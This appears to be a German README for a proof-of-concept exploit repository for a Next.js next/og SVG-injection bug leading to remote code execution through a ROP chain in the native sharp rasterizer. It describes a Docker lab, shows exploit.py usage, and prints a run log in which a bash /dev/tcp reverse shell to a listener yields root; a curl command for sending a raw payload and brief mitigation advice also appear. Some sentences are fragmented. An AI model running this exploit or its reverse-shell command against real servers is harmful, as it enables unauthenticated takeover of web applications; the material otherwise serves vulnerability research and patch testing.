
Proof-of-Concept-Exploit für CVE-2026-94545, eine nicht authentifizierte RCE in Next.js next/og über SVG-Injection und eine ROP-Kette gegen den nativen sharp-Rasterizer.
★ CVE-2026-94545 Next.js next/og SVG-Injection zu nativer RCE ★
https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160
next/ogerstellt Open-Graph-Bilder, indem JSX mit Satori zu einem SVG gerendert und dieses SVG anschließend rasterisiert wird. Satori schreibt vom Benutzer bereitgestellten Text unescaped in das SVG (CWE-116), sodass eine Anfrage das umgebende Element schließen und eigenes SVG-Markup injizieren kann. Wenn die Route auf der Node.js-Runtime mit installiertemsharpläuft, wird dieses SVG von nativen Bibliotheken (libvips, librsvg, libxml2) statt vom sandboxed wasm-Renderer rasterisiert. Eine Payload aus einer XInclude-Referenz und verschachtelten DTD-Entities korrumpiert den Speicher innerhalb dieses nativen Parsers. Das offizielle Node.js-Binary ist non-PIE, daher sind sein Code und seine GOT nicht randomisiert und eine feste ROP-Chain erreichtexecveohne Adress-Leak. Eine einzige unauthentifizierte Anfrage an eine OG-Image-Route genügt, um Befehle als Serverprozess auszuführen.
| Kategorie | Version |
|---|---|
| Verwundbar | Next.js 16.2.0 – 16.3.5 (Node-Runtime, sharp vorhanden), Satori >=0.0.27 <0.33.5 |
| Gepatcht | Next.js 16.3.6 / Satori 0.33.5 oder später |
Nur der Node.js-Runtime-Pfad ist betroffen. Mit
export const runtime = 'edge'oder einer Installation ohnesharpwird das Bild vom sandboxedresvg-wasm-Renderer gezeichnet und der Bug führt nicht zur Codeausführung.
ImageResponse weitergibt, ist ein Sink.execve ersetzt den Worker, sodass die HTTP-Anfrage einfach schließt und das Ergebnis auf einem anderen Weg zurückkommen muss, etwa über eine Reverse Shell oder einen Befehl, der nach Hause telefoniert.Eine minimale Next.js-App, die die verwundbare Konfiguration reproduziert. Die Route unter /api/og rendert
eine ImageResponse auf der Node-Runtime, und sharp ist installiert, sodass der native Rasterizer verwendet wird.
Das Image pinnt den exakten Stack, von dem die ROP-Chain abhängt (Node 24.20.0 non-PIE, Next 16.3.5, sharp
0.35.4 mit libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). Der erste Build zieht Node, installiert
npm-Abhängigkeiten und führt next build aus, was einige Minuten dauert.
docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545
# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
| Vorbedingung | Zustand in diesem Lab |
|---|---|
| Next.js 16.2.0 – 16.3.5 auf der Node-Runtime | Next 16.3.5, runtime = 'nodejs' |
sharp installiert, sodass der native librsvg/libxml2-Pfad verwendet wird | sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3 |
| Non-PIE Node-Binary für eine stabile ROP-Basis | offizielles Node v24.20.0 linux-x64 (SHA-verifiziert) |
| OG-Image-Route ohne Auth erreichbar | GET und POST /api/og, Anfragetext gelangt in ein SVG <title> |
| Ausgehender Pfad für eine Reverse Shell verfügbar | bash und /dev/tcp sind vorhanden |
Die verwundbare Route ist POST /api/og. Sie nimmt den Anfrage-Body und platziert ihn in einem SVG <title>
vor dem Rasterisieren. exploit.py baut dieses SVG für einen gewählten Befehl, kodiert die ROP-Chain in ein
<path> und sendet es an die Route.
Der einfachste Lauf öffnet eine Reverse Shell. Gib ihm das Ziel und eine Listener-Adresse; es startet nc
für dich, feuert die Anfrage ab und übergibt dir die Shell.
python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444
Die Payload ist auf den in Umgebung aufgeführten Stack kalibriert, führe sie also gegen dieses Image oder einen Host mit demselben Node- und sharp-Build aus. Ein Treffer ersetzt den Node-Prozess durch deinen Befehl, was bedeutet, dass die HTTP-Anfrage schließt und der Dienst nicht mehr antwortet, bis der Container neu gestartet wird.
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
Die Reverse Shell läuft als Serverprozess, was die Codeausführung aus einer einzigen unauthentifizierten Anfrage bestätigt. Um einen Befehl ohne Listener auszuführen, übergib ihn direkt; beachte, dass die Ausgabe nicht über HTTP zurückkommt, sodass der Befehl alles, was du sehen willst, out of band senden muss.
# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"
# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og
next/og-Routen auf export const runtime = 'edge', sodass der sandboxed wasm-Renderer verwendet wird, oder entferne sharp, sodass der native Pfad nicht erreicht wird, und halte unsanitisierten Benutzereingaben aus ImageResponse-Children heraus.